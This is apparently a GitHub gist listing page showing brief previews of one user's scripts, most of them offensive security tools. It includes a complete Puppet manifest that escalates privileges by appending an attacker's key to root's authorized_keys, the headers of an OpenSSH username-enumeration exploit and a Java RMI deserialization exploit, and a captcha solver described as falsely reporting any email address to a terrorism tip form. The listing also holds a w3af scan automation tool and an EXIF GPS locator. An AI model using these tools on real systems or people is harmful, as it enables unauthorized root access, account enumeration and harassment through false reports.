hackeraf’s gists

hackeraf / Ender3v2_CR_TOUCH_ABS.fff

Created March 5, 2022 17:00

Ender3 V2 + CR-TOUCH ABS Profile for Simplify3D

	<?xml version="1.0"?>
	<profile name="ABS" version="2022-03-05 07:59:05" app="S3D-Software 4.1.2">
	<baseProfile>Creality Ender 3 Pro (modified)</baseProfile>
	<printMaterial>ABS</printMaterial>
	<printQuality>High</printQuality>
	<printExtruders></printExtruders>
	<extruder name="Primary Extruder">
	<toolheadNumber>0</toolheadNumber>
	<diameter>0.4</diameter>
	<autoWidth>0</autoWidth>

hackeraf / w3af_cli.py

Created December 15, 2021 14:21

W3AF automated CLI scan

	"""
	Automates a w3af web application crawl and audit.
	author: Michael Behan (@mychalbehan)

	Usage:
	python ./w3af_automated.py --auth-url <form-action-url> /
	--method <POST\|GET> /
	--username-field <field-name> /
	--password-field <field-name> /
	--username <username> /

hackeraf / solve_captcha.py

Created December 15, 2021 14:20

Solve text-based math captchas

	#!/usr/bin/env python
	"""
	solve_captcha.py
	Solves simple, text-based captchas.
	Author: Michael Behan (@mychalbehan)

	Requires:
	* selenium Python module.
	* phantomjs executable in your PATH

hackeraf / tarrist.py

Created December 15, 2021 14:19

Report Online Terrorism captcha solver

	#!/usr/bin/env python
	"""
	tarrist.py captcha solver
	:: Michael Behan (@mychalbehan)

	Report any email address as a potential terrorist by virtue of a poor captcha.

	Result: http://imgur.com/eYunlEr

	This proof-of-concept will submit any email address by solving the capture and

hackeraf / iphone_gps.py

Created December 15, 2021 14:18

	"""
	iphone_gps.py
	When fed exif data from an image taken with an iPhone, this script will
	open a browser to the coordinates where the image was taken.

	Usage:
	$ exiftool image.jpg \| python ./iphone_gps.py
	"""
	import re
	import fileinput

hackeraf / privesc.pp

Created December 15, 2021 14:17

Privilege escalation with persistent key via `puppet`

	exec { 'refresh_cache':
	command => 'echo "MY-PUB-KEY" >> /root/.ssh/authorized_keys',
	path => '/bin/'
	}

	# EXECUTE WITH:
	# sudo /path/to/puppet apply privesc.pp

hackeraf / ssh_usernum_enum.py

Created December 15, 2021 14:16

Enumerate usernames on vulnerable versions of OpenSSH. SOCKS support included. (CVE-2018-15473)

	#!/usr/bin/env python
	# Exploit: OpenSSH 7.7 - Username Enumeration
	# Author: Michael Behan
	# Date: 2020-04-25
	#
	# ❯ ./ssh-username-enum.py --socksHost 127.0.0.1 --socksPort 9050 --username root -r XXX.XXX.XXX.XXX --format json
	# root is a valid user!
	#
	# Software: https://ftp4.usa.openbsd.org/pub/OpenBSD/OpenSSH/openssh-7.7.tar.gz
	# Affected Versions: OpenSSH version < 7.7

hackeraf / jrmi_illegal_bind.py

Created December 15, 2021 14:15

JRMI Illegal Bind exploit

	#!/usr/bin/env python
	# Exploits Java RMI registry illegal bind deserialization
	# Payload: Apache Commons Collections 3.1, 3.2, 3.2.1
	# author: Michael Behan
	# Inspired by BaRMIe by Nicky Bloor
	# This is essentially a reverse engineered pcap which can be used in a quick and automated fashion.
	#
	# Unlike the Metasploit and nmap JRMI exploits this one does not require the RMI class loader to be enabled and thus has
	# proven much more successful for me.
	#